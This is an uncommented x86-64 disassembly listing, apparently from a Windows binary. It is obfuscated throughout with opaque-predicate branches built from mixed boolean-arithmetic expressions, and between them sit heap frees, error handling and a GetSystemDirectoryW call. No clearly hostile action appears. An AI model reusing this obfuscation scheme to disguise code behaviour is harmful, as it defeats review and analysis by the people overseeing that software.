ja 0x14017ecc1
movzx eax, byte [r10 + 3]
add r10, 4
and edx, 7
shl edx, 0x12
shl edi, 6
mov ecx, eax
not cl
or cl, 0x3f
add cl, al
inc cl
movzx eax, cl
mov ecx, dword [0x1415a0cc0]
mov r11d, dword [0x1415a0cc4]
add ecx, r11d
add ecx, 0xc32299c6
mov r11d, ecx
not r11d
and r11d, 0x416f7fbd
mov r14d, ecx
and r14d, 0xbe908042
imul r14d, r11d
mov r11d, ecx
and r11d, 0x416f7fbd
or ecx, 0x416f7fbd
imul ecx, r11d
add ecx, r14d
cmp ecx, 0xdf24d50
je 0x14017ed37
or edi, eax
mov eax, dword [0x1415a0cc8]
xor eax, dword [0x1415a0ccc]
xor eax, 0x7cd8bcb4
add eax, 0xfc3871f3
mov ecx, eax
not ecx
or ecx, 0xc880895e
or eax, 0x377f76a1
and eax, ecx
cmp eax, 0x1909de77
jb 0x14017ed89
mov eax, edi
xor eax, edx
not edx
and edx, edi
add eax, edi
sub eax, edx
mov r11, r10
jmp 0x14017ede0
add r10, 2
shl edx, 6
or edx, r15d
mov eax, edx
jmp 0x14017eec0
shl edx, 0xc
or edi, edx
mov eax, edi
mov r14, qword [rsp + 0x80]
mov ecx, dword [0x1415a0cd0]
add ecx, dword [0x1415a0cd4]
mov edx, ecx
xor edx, 0xfe39
and ecx, 0x701c6
add ecx, ecx
sub ecx, edx
not ecx
or ecx, 0x6ec0f424
and ecx, 0x6ecdfef4
cmp ecx, 0xa483b5de
ja 0x14017ede8
cmp eax, 0xffff
jbe 0x14017eeb7
mov ecx, dword [0x1415a0ce0]
mov edx, dword [0x1415a0ce4]
mov r10d, ecx
and r10d, edx
not ecx
not edx
or edx, ecx
not edx
or edx, r10d
add edx, 0x53bda507
and edx, 0x548196af
add edx, 0xf6e664e5
cmp edx, 0xaa5dd416
ja 0x14017ee27
mov ecx, eax
not ecx
or ecx, 0x3ff
lea edx, [rax + rcx]
inc edx
mov eax, dword [0x1415a0ce8]
mov ecx, dword [0x1415a0cec]
mov r10d, eax
and r10d, ecx
or eax, ecx
add eax, r10d
mov ecx, eax
xor ecx, 0x1319f2f0
xor eax, 0x84460d04
or eax, 0x7aa900eb
add eax, ecx
inc eax
mov ecx, eax
xor ecx, 0x812f89ec
and ecx, eax
cmp ecx, 0xd8bcdbd
je 0x14017ee6d
or edx, 0xdc00
mov r10, r11
jmp 0x14017eef0
mov r10, r11
nop word [rax + rax]
mov ecx, dword [0x1415a0cd8]
and ecx, dword [0x1415a0cdc]
add ecx, 0xb53d24e8
and ecx, 0xed36134e
cmp ecx, 0x7020b206
jbe 0x14017eec0
xor edx, edx
mov r9d, eax
nop word cs:[rax + rax]
mov eax, dword [0x1415a0cf0]
sub eax, dword [0x1415a0cf4]
mov ecx, eax
xor ecx, 0xa2054000
or eax, 0x48802062
and eax, ecx
and eax, 0xea856062
mov ecx, eax
xor ecx, 0x4c0ae010
or eax, 0xa2850062
and eax, ecx
cmp eax, 0xcdd8ebfd
ja 0x14017eef0
test r9w, r9w
jne 0x14017eac7
jmp 0x14017fe46
cmp qword [rsp + 0x1d8], 0
je 0x14017efb2
mov rdi, qword [0x1415acb98]
mov eax, dword [0x1415a0d10]
xor edx, edx
div dword [0x1415a0d14]
mov ecx, 0xfffaad3d
imul rax, rcx
shr rax, 0x3e
imul eax, eax, 0x488bdac0
cmp eax, 0x6940f769
jbe 0x14017ef79
mov rcx, rdi
xor edx, edx
mov r8, rbp
call rsi
mov rcx, rdi
xor edx, edx
mov r8, rbp
call rsi
mov eax, dword [0x1415a0d18]
xor edx, edx
div dword [0x1415a0d1c]
add eax, 0x5d3496d5
mov ecx, eax
and ecx, 0x2ba6cc90
xor eax, 0xaba6cc90
lea eax, [rax + rcx*2]
add eax, 0x9ab09afa
cmp eax, 0xbe5cc898
ja 0x14017ef83
mov r9, qword [rsp + 0x98]
lea r8, [r9 + r9]
mov eax, dword [0x1415a0d20]
sub eax, dword [0x1415a0d24]
mov ecx, eax
and ecx, 0x21df5384
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0xa1df5384
mov ecx, eax
xor ecx, 0x80bf0d49
or eax, 0x7f40f2b6
and eax, ecx
add eax, 0x31bb0389
cmp eax, 0xdba3d9b
jb 0x14017efbe
mov rax, qword [rsp + 0x120]
mov rdx, qword [rsp + 0x1d0]
mov rcx, rdx
not rcx
and rcx, rax
xor rax, rdx
add rcx, rcx
sub rcx, rax
cmp rcx, r9
mov r13, r8
jb 0x14017f063
mov eax, dword [0x1415a0d28]
mov ecx, dword [0x1415a0d2c]
not eax
not ecx
or ecx, eax
not ecx
and ecx, 0xbf689d93
add ecx, 0x4e9a04f7
cmp ecx, 0x102d3925
mov rbp, qword [rsp + 0x88]
mov r12, rdx
mov rdi, qword [rsp + 0x140]
jb 0x14017f2b9
jmp 0x14017f095
lea rcx, [rsp + 0x120]
mov r8, qword [rsp + 0x98]
call fcn.1402474d0
mov r8, r13
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x88], rax
mov rdx, qword [rsp + 0x130]
jmp 0x14017f022
mov eax, dword [0x1415a0d30]
mov ecx, eax
not ecx
or ecx, dword [0x1415a0d34]
lea r14d, [rax + rcx]
inc r14d
xor r14d, 0xf329e0d4
mov eax, 0xb1a8ac91
imul r14, rax
shr r14, 0x3d
add r14d, 0xf963433b
lea rcx, [rdx*2]
add rcx, rbp
mov rdx, rdi
call fcn.14021bb50
mov r8, r13
mov rdx, r12
movabs rax, 0xc47608bb87f279bf
lea r15, [r12 + rax]
add r15, qword [rsp + 0x98]
sub r15, rax
mov qword [rsp + 0x130], r15
cmp r14d, 0x13b47f4
jb 0x14017f2b9
cmp qword [rsp + 0x110], 0
mov r14, qword [rsp + 0x80]
movabs r12, 0x8000000000000000
lea r13, [rsp + 0x210]
je 0x14017f212
mov rdi, qword [0x1415acb98]
mov r14, qword [rsp + 0x140]
mov eax, dword [0x1415a0d38]
xor edx, edx
div dword [0x1415a0d3c]
mov ebp, eax
add ebp, 0x71557297
mov eax, ebp
not eax
mov ecx, ebp
and ecx, 0x23d1bb65
and eax, 0xdc2e449a
imul eax, ecx
mov ecx, ebp
and ecx, 0xdc2e449a
or ebp, 0xdc2e449a
imul ebp, ecx
add ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
and ecx, 0x52c4044
and eax, 0xfad3bfba
imul eax, ecx
mov ecx, ebp
and ecx, 0xfad3bfba
or ebp, 0xfad3bfba
imul ebp, ecx
add ebp, eax
mov rcx, rdi
xor edx, edx
mov r8, r14
call rsi
cmp ebp, 0x9081c4c0
jb 0x14017f146
mov r14, qword [rsp + 0x80]
mov eax, dword [0x1415a0d40]
mov ecx, dword [0x1415a0d44]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
and eax, 0x3e9b02dd
mov ecx, eax
add ecx, 0x35463cc7
not ecx
or ecx, 0x933a6ef3
add eax, ecx
add eax, 0x35463cc7
cmp eax, 0xfb4e6a7d
je 0x14017f1c4
mov eax, dword [0x1415a0d48]
imul eax, dword [0x1415a0d4c]
add eax, 0x20d09fea
or eax, 0x51265a1e
cmp eax, 0x17a4fc1e
je 0x14017f212
mov rax, qword [rsp + 0x120]
mov r8, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x1f8]
mov ecx, dword [0x1415a0d50]
and ecx, dword [0x1415a0d54]
or ecx, 0xb541bf44
imul rcx, rcx, 0x2341d295
shr rcx, 0x3d
not ecx
add ecx, 0xd264ec83
jae 0x14017f248
cmp r15, rax
jne 0x14017f289
lea rcx, [rsp + 0x120]
call fcn.14020b880
mov r8, qword [rsp + 0x128]
mov eax, dword [0x1415a0d68]
imul eax, dword [0x1415a0d6c]
or eax, 0xa774aa96
mov ecx, eax
and ecx, 0x76299a84
xor eax, 0xf6299a84
lea eax, [rax + rcx*2]
or eax, 0x51568a1f
cmp eax, 0xb838959e
je 0x14017f322
jmp 0x14017f2ea
lea rcx, [rdx*2]
add rcx, rbp
mov rdx, rdi
call fcn.14021bb50
mov r8, r13
mov rdx, r12
mov rax, qword [rsp + 0x98]
add rax, r12
mov qword [rsp + 0x130], rax
jmp 0x14017f095
mov eax, dword [0x1415a0d70]
xor edx, edx
div dword [0x1415a0d74]
imul rax, rax, 0x329d43ab
shr rax, 0x3d
or eax, 0xc6b27f10
lea rcx, [r15 + 1]
mov word [r8 + r15*2], 0x3d
mov qword [rsp + 0x130], rcx
cmp eax, 0x51310fc
jae 0x14017f337
mov word [r8 + r15*2], 0x3d
lea rax, [r15 + 1]
mov qword [rsp + 0x130], rax
jmp 0x14017f2ea
mov eax, dword [0x1415a0c18]
or eax, dword [0x1415a0c1c]
xor eax, 0x76532a8
or eax, 0xe890c957
mov ecx, eax
xor ecx, 0xc3ad0e04
and ecx, eax
cmp ecx, 0xb6bbf7af
ja 0x14017f9c1
lea rbx, [rsp + 0x210]
mov r14d, 0x83fc6521
lea rcx, [rsp + 0xa0]
mov rdx, rbx
call fcn.140193440
nop word [rax + rax]
mov eax, dword [0x1415a0c20]
xor eax, dword [0x1415a0c24]
add eax, 0xb69a9657
cmp eax, 0xcf05643
jb 0x14017fa10
mov r15, qword [rsp + 0xa0]
test r15, r15
je 0x14017fd7f
mov rbp, qword [rsp + 0xb0]
imul rax, rbp, 0x38
lea r12, [r15 + rax]
add r12, 0x168
cmp qword [r15 + rax + 0x168], 0
je 0x14017faf9
mov rdi, qword [r12 + 8]
mov eax, dword [0x1415a0c28]
xor edx, edx
div dword [0x1415a0c2c]
add eax, 0xd3b8d57e
imul rax, rax, 0x3a429e5d
shr rax, 0x3c
add eax, 0x1ec63fda
cmp eax, 0xc5c329be
jbe 0x14017fa9c
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call rsi
mov eax, dword [0x1415a0c30]
or eax, dword [0x1415a0c34]
mov r13d, eax
and r13d, 0x4ebd17ae
mov ecx, r13d
not ecx
mov edx, eax
and edx, 0x409000e
and ecx, 0x1bf4bff0
imul ecx, edx
and eax, 0xab417a0
or r13d, 0x1bf4bff0
imul r13d, eax
add r13d, ecx
and r13d, 0x29acde00
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rdi
call rsi
cmp r13d, 0xd4a165e
jb 0x14017fa9c
mov rax, qword [r12 + 0x20]
nop
mov ecx, dword [0x1415a0c38]
imul ecx, dword [0x1415a0c3c]
or ecx, 0x1974174b
imul ecx, ecx, 0x5844abb6
mov edx, ecx
and edx, 0x27c929d0
xor ecx, 0xa7c929d5
lea ecx, [rcx + rdx*2]
cmp ecx, 0x493572d1
jb 0x14017fb00
test rax, rax
je 0x14017fc60
mov rdi, qword [r12 + 0x28]
mov eax, dword [0x1415a0c40]
mov ecx, dword [0x1415a0c44]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
or ecx, 0x869a01e0
lea eax, [rcx - 0x3ad307f8]
mov edx, eax
and edx, 0x842d327a
xor eax, 0x7bd2cd85
add eax, ecx
add eax, 0xc52cf808
sub eax, edx
cmp eax, 0xe9824812
jae 0x14017fb88
mov rax, qword [0x1415acb98]
mov eax, dword [0x1415a0c48]
add eax, dword [0x1415a0c4c]
mov ecx, eax
xor ecx, 0xb285c9da
add ecx, eax
and eax, 0x4d7a3625
sub ecx, eax
mov eax, 0x48cd732f
sub eax, ecx
or eax, 0xcf0de189
add eax, ecx
add eax, 0xb7328cd1
mov r12, qword [0x1415acb98]
cmp eax, 0xeb23d776
ja 0x14017fb88
mov eax, dword [0x1415a0c50]
sub eax, dword [0x1415a0c54]
imul eax, eax, 0x6a64cfcd
mov ecx, eax
not ecx
or ecx, 0xa4032006
and ecx, 0xfeaf2a96
and eax, 0x100d448
or eax, ecx
xor eax, 0x29bb6f93
cmp eax, 0x78d83c72
jae 0x14017fc08
mov rcx, r12
xor edx, edx
mov r8, rdi
call fcn.14020ae70
mov eax, dword [0x1415a0c58]
xor edx, edx
div dword [0x1415a0c5c]
add eax, 0x24881dad
mov r13d, eax
or r13d, 0x54f8c629
not eax
and eax, 0xa10330c0
mov ecx, r13d
and ecx, 0xa8c8916
or ecx, eax
xor ecx, 0x7e005853
and r13d, 0x8b732eba
or r13d, ecx
mov rcx, r12
xor edx, edx
mov r8, rdi
call rsi
cmp r13d, 0x2fccb2b3
jb 0x14017fc08
nop word [rax + rax]
mov eax, dword [0x1415a0c60]
add eax, dword [0x1415a0c64]
and eax, 0x680a8048
add eax, 0xe288ccff
cmp eax, 0x215e571e
ja 0x14017fc60
shl rbp, 5
lea rcx, [r15 + rbp]
mov rax, qword [r15 + rbp]
movabs r12, 0x8000000000000000
nop word cs:[rax + rax]
mov edx, dword [0x1415a0c68]
mov r8d, dword [0x1415a0c6c]
not edx
not r8d
or r8d, edx
not r8d
and r8d, 0x2d34cee1
add r8d, 0x87a6d624
or r8d, 0xaf578924
cmp r8d, 0xf8833fe8
ja 0x14017fca0
test rax, rax
je 0x14017f9f7
mov eax, dword [0x1415a0c70]
xor edx, edx
div dword [0x1415a0c74]
mov edx, eax
not edx
and edx, 0xb394ccf3
and eax, 0x4c6b330c
sub eax, edx
mov edx, eax
not edx
or edx, 0xec2adda8
add eax, edx
inc eax
mov edx, eax
and edx, 0x5fe2d7c6
add edx, edx
sub eax, edx
add eax, 0xdfe2d7c6
cmp eax, 0xf2c7d4b3
ja 0x14017fcdf
mov eax, dword [0x1415a0c78]
add eax, dword [0x1415a0c7c]
or eax, 0x342435cc
shr eax, 1
imul rax, r14
shr rax, 0x3c
mov edx, eax
not edx
and edx, 0x4d4701b3
mov r8d, eax
and r8d, 0xfffffffc
imul r8d, edx
mov edx, eax
and edx, 3
or eax, 0x4d4701b3
imul eax, edx
add eax, r8d
cmp eax, 0xb6a06add
je 0x14017fd24
mov r8, qword [rcx + 8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call rsi
jmp 0x14017f9f7
mov eax, dword [0x1415a0c80]
or eax, dword [0x1415a0c84]
add eax, 0x36d6c7ae
mov ecx, eax
and ecx, 0x694b582d
xor eax, 0x694b582d
lea eax, [rax + rcx*2]
cmp eax, 0x11ede3e3
je 0x14017fd7f
mov rax, qword [rsp + 0x120]
mov rdi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov ecx, dword [0x1415a0c88]
add ecx, dword [0x1415a0c8c]
or ecx, 0xd1d23d1
add ecx, 0x3a24ac8b
mov edx, ecx
and edx, 0x5c97643a
add edx, edx
sub ecx, edx
cmp ecx, 0x1bf62eaa
je 0x14017fdb9
mov rcx, qword [rsp + 0x1d0]
cmp rcx, rax
jne 0x140180570
lea rsi, [rsp + 0x120]
mov eax, dword [0x1415a0d08]
imul eax, dword [0x1415a0d0c]
mov ecx, eax
and ecx, 0x39663ec2
add ecx, ecx
neg ecx
lea edi, [rax + rcx]
add edi, 0xa1bdbaf2
not edi
and edi, 0x602653db
mov rcx, rsi
call fcn.140130ea0
cmp edi, 0x521c0208
jbe 0x140180544
mov rcx, rsi
call fcn.14020b880
jmp 0x14017fdfe
cmp qword [rsp + 0x1d8], 0
je 0x14017fec6
mov rdi, qword [0x1415acb98]
mov eax, dword [0x1415a0cfc]
xor eax, dword [0x1415a0cf8]
imul eax, eax, 0x72722f80
mov ecx, eax
and ecx, 0x39013000
xor eax, 0x39013031
or eax, ecx
not eax
or eax, 0x82aecfcc
cmp eax, 0xb0c874a6
jae 0x14017fe95
mov rcx, rdi
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
xor edx, edx
mov r8, rbp
call fcn.14020ae70
mov eax, dword [0x1415a0d00]
mov ecx, dword [0x1415a0d04]
mov edx, eax
and edx, ecx
or eax, ecx
not eax
or eax, edx
not eax
add eax, 0x19e3b137
cmp eax, 0x562b4eca
jb 0x14017fea2
cmp qword [rsp + 0x190], 0
je 0x14017ff42
mov eax, dword [0x1415a0d58]
imul eax, dword [0x1415a0d5c]
imul rax, rax, 0x6270343b
shr rax, 0x3e
add eax, 0x4d5e4683
cmp eax, 0xcb9cc568
jbe 0x14017ff07
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, 0xede851f5
mov ebx, dword [0x1415a0d60]
sub ebx, dword [0x1415a0d64]
or ebx, 0x42d34963
imul rbx, rdi
shr rbx, 0x3e
or ebx, 0xe0b3b50c
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, r14
call rsi
cmp ebx, 0x8a3de91b
jbe 0x14017ff0c
cmp qword [rsp + 0x110], 0
mov r8, qword [rsp + 0x140]
je 0x14017ff64
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r14, [0x141578b58]
mov qword [rsp + 0x80], r14
mov eax, dword [0x1415a0e08]
mov ecx, dword [0x1415a0e0c]
mov edx, eax
not edx
mov r8d, ecx
not r8d
mov r9d, edx
and r9d, 0xa0000400
and eax, 0x8019090
or eax, r9d
or edx, r8d
and r8d, 0xa0000400
and ecx, 0x8019090
or ecx, r8d
xor ecx, eax
not edx
or edx, ecx
and edx, 0xa8019490
xor edx, 0x10010
add edx, 0x683e69e4
jae 0x14017ff73
lea rbx, [rsp + 0x210]
xor r14d, r14d
lea rcx, [rsp + 0xa0]
mov rdx, rbx
call fcn.14020d160
mov r15, qword [rsp + 0xa0]
nop dword [rax + rax]
mov eax, dword [0x1415a0e10]
mov ecx, dword [0x1415a0e14]
not ecx
add eax, ecx
add eax, 0x1954f304
mov ecx, eax
xor ecx, 0x1910c6b2
and eax, 0x66ef394d
add eax, eax
sub eax, ecx
xor eax, 0x842c4464
cmp eax, 0xed44089f
ja 0x14017fff0
mov eax, dword [0x1415a0f18]
add eax, dword [0x1415a0f1c]
mov ecx, eax
and ecx, 0x90b1ad58
or eax, 0x90b1ad58
add eax, ecx
mov ecx, eax
not ecx
or ecx, 0x60082b01
or eax, 0x8c844084
and eax, ecx
and eax, 0xec8c6b85
cmp eax, 0x88fb0d18
jbe 0x1401804e8
mov rax, qword [rsp + 0x78]
mov qword [rax], rsi
mov qword [rax + 0x10], 2
mov rdx, qword [rsp + 0x78]
mov eax, dword [0x1415a0f20]
imul eax, dword [0x1415a0f24]
mov ecx, eax
xor ecx, 0x93ced4db
xor eax, 0x774c9549
add eax, ecx
and ecx, 0x1b7dbe6d
sub eax, ecx
add eax, 0x3b042ca4
mov qword [rdx], rsi
mov qword [rdx + 0x10], 2
cmp eax, 0xe521f093
ja 0x1401804ed
jmp 0x1401870e4
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x88], rax
movabs r12, 0x8000000000000000
mov rdi, qword [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x1d0]
mov rax, qword [rsp + 0x88]
mov word [rax + rcx*2], 0
mov rax, qword [rsp + 0x120]
cmp rax, r12
jne 0x14018059f
mov rsi, qword [rsp + 0x88]
mov ebp, dword [rsp + 0x148]
jmp 0x1401804a0
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x98], rax
mov r13d, dword [rsp + 0x19c]
mov r8, qword [rsp + 0x88]
mov ecx, dword [rsp + 0x20c]
jmp 0x14017c6f6
mov eax, dword [0x1415a0ef8]
sub eax, dword [0x1415a0efc]
add eax, 0xa334b378
mov edx, eax
xor edx, 0x80c0002
or eax, 0x81c34648
and eax, edx
or eax, 0x7630b9b5
mov qword [rsp + 0x218], rcx
cmp eax, 0x97897cc7
jbe 0x140180611
mov qword [rsp + 0x218], rcx
jmp 0x1401805d3
mov eax, dword [0x1415a0f38]
sub eax, dword [0x1415a0f3c]
mov ecx, eax
xor ecx, 0xf0268dd8
and ecx, eax
xor ecx, 0x4fc218cc
mov qword [rdx], r14
mov qword [rdx + 0x10], 2
cmp ecx, 0x338530c6
jne 0x140187070
mov qword [rdx], r14
mov qword [rdx + 0x10], 2
jmp 0x140180704
mov eax, dword [0x1415a0f68]
mov ecx, dword [0x1415a0f6c]
mov edx, eax
xor edx, ecx
not ecx
and ecx, eax
add ecx, ecx
sub ecx, edx
mov eax, ecx
xor eax, 0x608a3019
xor ecx, 0x84200204
or ecx, 0x709af979
or eax, 0x8f650686
and eax, ecx
mov edi, eax
not edi
and eax, 0x890a3e04
and edi, 0x76f5c1fb
sub edi, eax
cmp r15d, 6
mov rcx, r12
cmove rcx, r13
mov edx, 0xfffffff5
mov r8, rbx
call fcn.14020d180
cmp edi, 0x2871a9af
jae 0x1401807c1
cmp r15d, 6
mov rcx, r12
cmove rcx, r13
mov edx, 0xfffffff5
mov r8, rbx
call fcn.14020d180
jmp 0x140180744
mov rbp, rdx
test rax, rax
je 0x140180884
mov eax, dword [0x1415a0f70]
mov ecx, dword [0x1415a0f74]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
imul rax, rcx, 0x1f0c117b
shr rax, 0x38
add eax, 0xabf9ef94
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x80c00506
and ecx, 0x54040039
imul ecx, edx
mov edx, eax
and edx, 0x2b39eab9
or eax, 0x7f3deab9
imul eax, edx
add eax, ecx
cmp eax, 0x49154f7
mov rax, qword [rsp + 0x78]
mov r12, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x190]
jae 0x14018083b
mov qword [rax], rbp
mov qword [rax], rbp
mov eax, dword [0x1415a0f78]
xor eax, dword [0x1415a0f7c]
mov ecx, eax
xor ecx, 0x24b901eb
xor eax, 0x40045400
and eax, 0x53445404
and ecx, 0xacbbabfb
sub ecx, eax
xor ecx, 0x741df622
cmp ecx, 0x67f5fe9d
mov rax, qword [rsp + 0x78]
je 0x1401808f6
mov rcx, rsi
mov edx, 0xfffffff4
lea r8, [rsp + 0x170]
call fcn.14020d180
test rax, rax
mov r12, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x190]
je 0x14018090b
mov rax, qword [rsp + 0x78]
mov qword [rax], rdx
mov eax, dword [0x1415a0fa8]
and eax, dword [0x1415a0fac]
or eax, 0xc8dd328
imul rax, rax, 0x2d7aa1c5
shr rax, 0x3d
mov ecx, eax
xor ecx, 0x9275dbe1
lea eax, [rcx + rax*2]
cmp eax, 0xc54b24fa
ja 0x1401808b6
lea rcx, [rsp + 0xa8]
mov eax, dword [0x1415a0f80]
add eax, dword [0x1415a0f84]
mov r9d, eax
not r9d
and r9d, 0xaeeb2de
mov r8d, eax
and r8d, 0xf5114d21
imul r8d, r9d
mov r9d, eax
and r9d, 0xaeeb2de
or eax, 0xaeeb2de
imul eax, r9d
add eax, r8d
or eax, 0x188562ef
add eax, 0x8266fb99
cmp eax, 0xb58af88b
jb 0x140180913
mov eax, dword [0x1415a00a0]
sub eax, dword [0x1415a00a4]
imul eax, eax, 0x9da87fc5
mov ebp, eax
xor ebp, 0x189010a0
xor eax, 0x6445634c
or ebp, 0xe36bcf5b
and ebp, eax
mov rcx, rbx
call r14
cmp ebp, 0x116d9a2a
jae 0x140180ba9
mov rcx, rbx
call r14
jmp 0x140180b6c
mov rcx, qword [rdi + 8]
mov rax, qword [rdi + 0x10]
mov edx, dword [0x1415a00a8]
imul edx, dword [0x1415a00ac]
mov r8d, edx
not r8d
or r8d, 0xc503008
and r8d, 0x7ed2328e
mov r9d, edx
and r9d, 0x810c8c40
or r9d, r8d
xor r9d, 0xa633b538
and edx, 0xd0808686
or edx, r9d
add edx, 0x91e4b876
cmp edx, 0x401a77e2
jb 0x140180bb1
test rcx, rcx
je 0x140180ca3
mov ecx, dword [0x1415a00b0]
add ecx, dword [0x1415a00b4]
mov edx, ecx
not edx
mov r8d, ecx
or r8d, 0xc71781b1
mov r9d, r8d
and r9d, 0xafcaa96c
and edx, 0x10205602
imul edx, r9d
and r8d, 0x50355693
or ecx, 0xd737d7b3
imul ecx, r8d
add ecx, edx
cmp ecx, 0xba972447
je 0x140180c06
cmp rax, 0x11
jb 0x140180c59
mov rbx, qword [rbx - 8]
mov eax, dword [0x1415a00b8]
add eax, dword [0x1415a00bc]
mov ecx, 0x87c75af3
imul rcx, rax
shr rcx, 0x3f
or ecx, 0xb6948e54
cmp ecx, 0x94d37dba
jae 0x140180c91
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rbx
call fcn.14020ae70
mov rcx, qword [0x1415acb98]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x1415a00c0]
xor edx, edx
div dword [0x1415a00c4]
and eax, 0x1eb48013
add eax, 0xc9120660
cmp eax, 0x7acf884a
jae 0x140180cc9
mov rax, qword [0x1415acb98]
mov rdi, qword [0x1415acb98]
mov eax, dword [str.J_c_]
mov ecx, dword [0x1415a00cc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x41d1fcb8
and ecx, 0xbe2e0347
imul ecx, edx
mov edx, eax
and edx, 0xbe2e0347
or eax, 0xbe2e0347
imul eax, edx
add eax, ecx
and eax, 0xe1d0d7ec
add eax, 0x1d611eb
cmp eax, 0xe3cd1169
jbe 0x140180d41
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.14020ae70
mov eax, dword [0x1415a00d0]
and eax, dword [0x1415a00d4]
mov ecx, eax
not ecx
or ecx, 0x3098edf1
lea ebx, [rax + rcx]
inc ebx
not ebx
and ebx, 0xe0238022
mov rcx, rdi
xor edx, edx
mov r8, rsi
call fcn.14020ae70
cmp ebx, 0xd08b0135
jb 0x140180d41
mov eax, dword [0x1415a00d8]
and eax, dword [0x1415a00dc]
imul rax, rax, 0x3e8de6cf
shr rax, 0x3d
or eax, 0xd542cb84
xor eax, 0x9fe396e3
cmp eax, 0xe163df72
ja 0x140180d79
nop word cs:[rax + rax]
mov eax, dword [0x1415a00e0]
mov ecx, dword [0x1415a00e4]
not eax
not ecx
mov edx, eax
or edx, ecx
and ecx, eax
not ecx
and ecx, edx
imul rax, rcx, 0x67a9b997
shr rax, 0x3e
or eax, 0xca8c6a72
xor eax, 0x3fd5f199
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x128], 2
cmp eax, 0x3d127db1
jb 0x140180db0
nop
mov eax, dword [0x1415a00e8]
xor edx, edx
div dword [0x1415a00ec]
mov ecx, eax
not ecx
or eax, 0x40510c42
and ecx, 0x10204001
and eax, 0x46531dc2
or eax, ecx
cmp eax, 0x17c59a88
jb 0x140180e00
mov qword [rsp + 0x130], 0
mov ebp, 0x200
mov eax, 2
mov qword [rsp + 0x68], rax
xor ebx, ebx
xor r12d, r12d
xor r14d, r14d
jmp 0x140180e53
mov rbp, rdi
cmp rbp, 0x201
jae 0x140180e70
mov r13d, 0x200
lea rsi, [rsp + 0x210]
jmp 0x140180ef2
mov rax, rbp
xor rax, r14
mov r8, r14
not r8
and r8, rbp
add r8, r8
sub r8, rax
nop word cs:[rax + rax]
mov eax, dword [0x1415a00f0]
xor eax, dword [str._.Du_]
or eax, 0x613cd96
add eax, 0x92d621f8
mov ecx, eax
not ecx
and ecx, 0x12e24660
and eax, 0xe91db919
sub eax, ecx
cmp eax, 0x1e138ffb
ja 0x140180e90
sub r12, r14
cmp r8, r12
ja 0x1401811a6
mov eax, 0xffffffff
cmp rbx, rax
mov r14d, 0xffffffff
cmovb r14, rbx
mov qword [rsp + 0x130], r14
mov r12, rbx
mov r13, r14
mov rsi, qword [rsp + 0x68]
mov rbp, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, rsi
mov edx, ebp
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edi, eax
test eax, eax
jne 0x140180ff0
mov eax, dword [str._azK0]
xor edx, edx
div dword [0x1415a010c]
mov ecx, eax
and ecx, 0x563b95d0
add ecx, ecx
sub eax, ecx
imul eax, eax, 0x9bf8771e
add eax, 0xdf1f3e60
xor eax, 0x6415cf3b
cmp eax, 0x28dc8c5b
jae 0x140180f50
call sub.KERNEL32.dll_GetLastError
nop word cs:[rax + rax]
mov eax, dword [0x1415a0110]
mov ecx, dword [0x1415a0114]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov r15d, eax
and r15d, 0xde5dfa4a
and eax, 0xda413040
sub r15d, eax
add r15d, 0x5f08423
call sub.KERNEL32.dll_GetLastError
cmp r15d, 0x3c35a6a
jb 0x140180f50
nop word cs:[rax + rax]
mov ecx, dword [0x1415a0118]
mov edx, dword [0x1415a011c]
not ecx
not edx
and edx, ecx
not edx
mov ecx, edx
or ecx, 0x340800
and ecx, 0x96b68a56
or edx, 0xbfb6dad6
add edx, ecx
cmp edx, 0x69aa1e16
je 0x140180fb0
test eax, eax
mov r15d, 0xffffffff
jne 0x1401816a5
mov eax, dword [0x1415a0148]
sub eax, dword [0x1415a014c]
mov ecx, eax
not ecx
and ecx, 0xb7903d95
and eax, 0x486fc26a
sub eax, ecx
imul rax, rax, 0x490d1b6d
shr rax, 0x3d
imul eax, eax, 0xac28f683
cmp eax, 0x807d2cce
jb 0x140180ff0
mov edi, edi
nop word [rax + rax]
mov eax, dword [0x1415a0150]
mov ecx, dword [0x1415a0154]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
imul rax, rax, 0x2f781efd
shr rax, 0x3d
